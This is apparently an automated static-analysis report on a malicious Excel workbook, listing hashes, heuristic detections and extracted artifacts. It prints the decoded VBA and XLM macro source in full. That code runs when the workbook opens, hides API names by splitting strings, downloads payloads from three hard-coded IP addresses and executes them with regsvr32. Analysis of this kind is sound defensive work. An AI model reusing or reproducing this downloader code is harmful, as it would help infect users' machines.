Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e1ca4592d6d1717f…

MALICIOUS

Office (OOXML)

100.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-23
MD5: 91a8c2aa33b96b645367df047be82637 SHA-1: 164d0fad1f7ae5dccc49beb7dcb75471f6d7c415 SHA-256: e1ca4592d6d1717f9e0f8220bc613e1cf4ccb6c6120736bc3af2f576a2abd96e
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains both VBA and Excel 4.0 macros, with the Workbook_Open event triggering the execution. The VBA code attempts to obfuscate calls to dangerous APIs, specifically reconstructing the string 'URLDownloadToFile' to download files. The Excel 4.0 macros also contribute to the payload delivery, with one macro reconstructing the URL 'http://190.14.37.89/'. The macros appear to be designed to download and execute secondary payloads named 'Popol.gors' and related variants.

Heuristics 7

  • ClamAV: Xls.Downloader.Docusign112101-9908076-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Docusign112101-9908076-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://190.14.37.89/ In document text (OOXML body / shared strings)
    • http://74.119.195.114/In document text (OOXML body / shared strings)
    • http://212.6.44.229/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2651 bytes
SHA-256: 3c3e714d9cd7fb9b9e788b237ef8495032fc0fb331e3cfb5d84c959aa88aa850
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
On Error Resume Next

Application.ScreenUpdating = False
Dim RNum As Double
RNum = Rnd


Sheets("Loby").Range("H35") = "=" & "HA" & "L" & "T(" & ")"
Sheets("Loby").Range("I10") = "UR" & "LD" & "ow" & "n" & "lo" & "ad" & "To" & "Fi" & "le" & "A"
Sheets("Loby").Range("I12") = "Loster"
Sheets("Loby").Range("G10") = "..\Popol.gors"
Sheets("Loby").Range("G11") = "..\Popol.gors1"
Sheets("Loby").Range("G12") = "..\Popol.gors2"
Sheets("Loby").Range("G13") = "..\Popol.ocx3"
Sheets("Loby").Range("G14") = "..\Popol.ocx4"
Sheets("Loby").Range("G15") = "..\Popol.ocx5"

Sheets("Loby").Range("I17") = "r" & "e" & "gs" & "v" & "r3" & "2 -silent ..\Popol.gors"
Sheets("Loby").Range("I18") = "r" & "e" & "gs" & "v" & "r3" & "2 -silent ..\Popol.gors1"
Sheets("Loby").Range("I19") = "r" & "e" & "gs" & "v" & "r3" & "2 -silent ..\Popol.gors2"
Sheets("Loby").Range("I20") = "r" & "e" & "gs" & "v" & "r3" & "2.exe -e -n -i:" & RNum & " ..\Popol.ocx3"
Sheets("Loby").Range("I21") = "r" & "e" & "gs" & "v" & "r3" & "2.exe -e -n -i:" & RNum & " ..\Popol.ocx4"
Sheets("Loby").Range("I22") = "r" & "e" & "gs" & "v" & "r3" & "2.exe -e -n -i:" & RNum & " ..\Popol.ocx5"

Sheets("Loby").Range("H10") = "=Loster(0,H24&K17&K18,G10,0,0)"
Sheets("Loby").Range("H11") = "=Loster(0,H25&K17&K18,G11,0,0)"
Sheets("Loby").Range("H12") = "=Loster(0,H26&K17&K18,G12,0,0)"
Sheets("Loby").Range("H13") = "=Loster(0,H27&K17&K19,G13,0,0)"
Sheets("Loby").Range("H14") = "=Loster(0,H28&K17&K19,G14,0,0)"
Sheets("Loby").Range("H15") = "=Loster(0,H29&K17&K19,G15,0,0)"

Sheets("Loby").Range("H9") = "=" & "REGISTER" & "(I9,I10,I11,I12,,1,9)"
Sheets("Loby").Range("H17") = "=" & "EXEC" & "(I17)"
Sheets("Loby").Range("H18") = "=" & "EXEC" & "(I18)"
Sheets("Loby").Range("H19") = "=" & "EXEC" & "(I19)"
Sheets("Loby").Range("H20") = "=" & "EXEC" & "(I20)"
Sheets("Loby").Range("H21") = "=" & "EXEC" & "(I21)"
Sheets("Loby").Range("H22") = "=" & "EXEC" & "(I22)"

Application.Run Sheets("Loby").Range("H1")

End Sub


Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 12288 bytes
SHA-256: 438634a363cc6eaaf56e5e24b297454fb9cac2470c59c18edb28823c90a95331
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 3426 bytes
SHA-256: e47a1bb05005baa6c77d44783526fc711a37f6dacba438304270e1475494804a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{59B5048D-8C7D-40B0-9741-D7729BFD0DEE}"><dimension ref="H9:K29"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="9:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="s"><v>0</v></c></row><row r="11" spans="9:9" x14ac:dyDescent="0.25"><c r="I11" s="2" t="s"><v>1</v></c></row><row r="17" spans="8:11" x14ac:dyDescent="0.25"><c r="K17" s="2"><f>NOW()</f><v>44508.557876273146</v></c></row><row r="18" spans="8:11" x14ac:dyDescent="0.25"><c r="K18" s="2" t="str"><f>".dat"</f><v>.dat</v></c></row><row r="19" spans="8:11" x14ac:dyDescent="0.25"><c r="K19" s="2" t="str"><f>".dat2"</f><v>.dat2</v></c></row><row r="24" spans="8:11" x14ac:dyDescent="0.25"><c r="H24" s="2" t="str"><f>"h"&amp;"t"&amp;"t"&amp;"p"&amp;":"&amp;""&amp;"/"&amp;""&amp;"/"&amp;"1"&amp;"90"&amp;"."&amp;""&amp;"1"&amp;"4"&amp;"."&amp;"37"&amp;"."&amp;"89"&amp;"/"</f><v>http://190.14.37.89/</v></c></row><row r="25" spans="8:11" x14ac:dyDescent="0.25"><c r="H25" s="2" t="str"><f>"h"&amp;"t"&amp;"t"&amp;"p"&amp;":"&amp;""&amp;"/"&amp;""&amp;"/74"&amp;"."&amp;""&amp;"1"&amp;""&amp;"1"&amp;"9"&amp;"."&amp;""&amp;"1"&amp;"95"&amp;"."&amp;""&amp;"1"&amp;""&amp;"1"&amp;"4"&amp;"/"</f><v>http://74.119.195.114/</v></c></row><row r="26" spans="8:11" x14ac:dyDescent="0.25"><c r="H26" s="2" t="str"><f>"h"&amp;"t"&amp;"t"&amp;"p"&amp;":"&amp;""&amp;"/"&amp;""&amp;"/2"&amp;"1"&amp;"2"&amp;"."&amp;"6"&amp;"."&amp;"44"&amp;"."&amp;"229"&amp;"/"</f><v>http://212.6.44.229/</v></c></row><row r="27" spans="8:11" x14ac:dyDescent="0.25"><c r="H27" s="2" t="str"><f>"h"&amp;"t"&amp;"t"&amp;"p"&amp;":"&amp;""&amp;"/"&amp;""&amp;"/"&amp;"1"&amp;"90"&amp;"."&amp;""&amp;"1"&amp;"4"&amp;"."&amp;"37"&amp;"."&amp;"89"&amp;"/"</f><v>http://190.14.37.89/</v></c></row><row r="28" spans="8:11" x14ac:dyDescent="0.25"><c r="H28" s="2" t="str"><f>"h"&amp;"t"&amp;"t"&amp;"p"&amp;":"&amp;""&amp;"/"&amp;""&amp;"/74"&amp;"."&amp;""&amp;"1"&amp;""&amp;"1"&amp;"9"&amp;"."&amp;""&amp;"1"&amp;"95"&amp;"."&amp;""&amp;"1"&amp;""&amp;"1"&amp;"4"&amp;"/"</f><v>http://74.119.195.114/</v></c></row><row r="29" spans="8:11" x14ac:dyDescent="0.25"><c r="H29" s="2" t="str"><f>"h"&amp;"t"&amp;"t"&amp;"p"&amp;":"&amp;""&amp;"/"&amp;""&amp;"/2"&amp;"1"&amp;"2"&amp;"."&amp;"6"&amp;"."&amp;"44"&amp;"."&amp;"229"&amp;"/"</f><v>http://212.6.44.229/</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>